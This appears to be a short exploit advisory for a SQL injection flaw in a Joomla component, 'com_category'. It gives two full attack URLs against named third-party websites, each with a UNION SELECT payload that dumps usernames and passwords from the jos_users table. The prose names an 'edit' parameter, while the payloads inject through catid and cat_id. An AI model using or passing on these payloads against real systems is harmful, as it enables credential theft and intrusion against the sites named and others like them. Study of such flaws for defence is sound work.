Joomla component ‘com_category’ SQL injection vulnerability
A vulnerability exists in the Joomla component 'com_category' which allows an attacker to inject arbitrary SQL commands. This is done by manipulating the 'edit' parameter in the URL. An attacker can exploit this vulnerability by sending a specially crafted URL to the vulnerable application. The URL contains an SQL query which when executed, will dump the contents of the database. Demos of the exploit can be seen in the URL http://www.hendrygroup.com.au/index.php?option=com_category&task=loadCategory&catid=-9999+AND+1=0+union+all+select%201,2,group_concat(username,0x3a,password),4,5+from+jos_users-- and http://teachandsay.com/index.php?option=com_category&id=12&task=view&color=3&cat_id=-9999+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5+from+jos_users--.
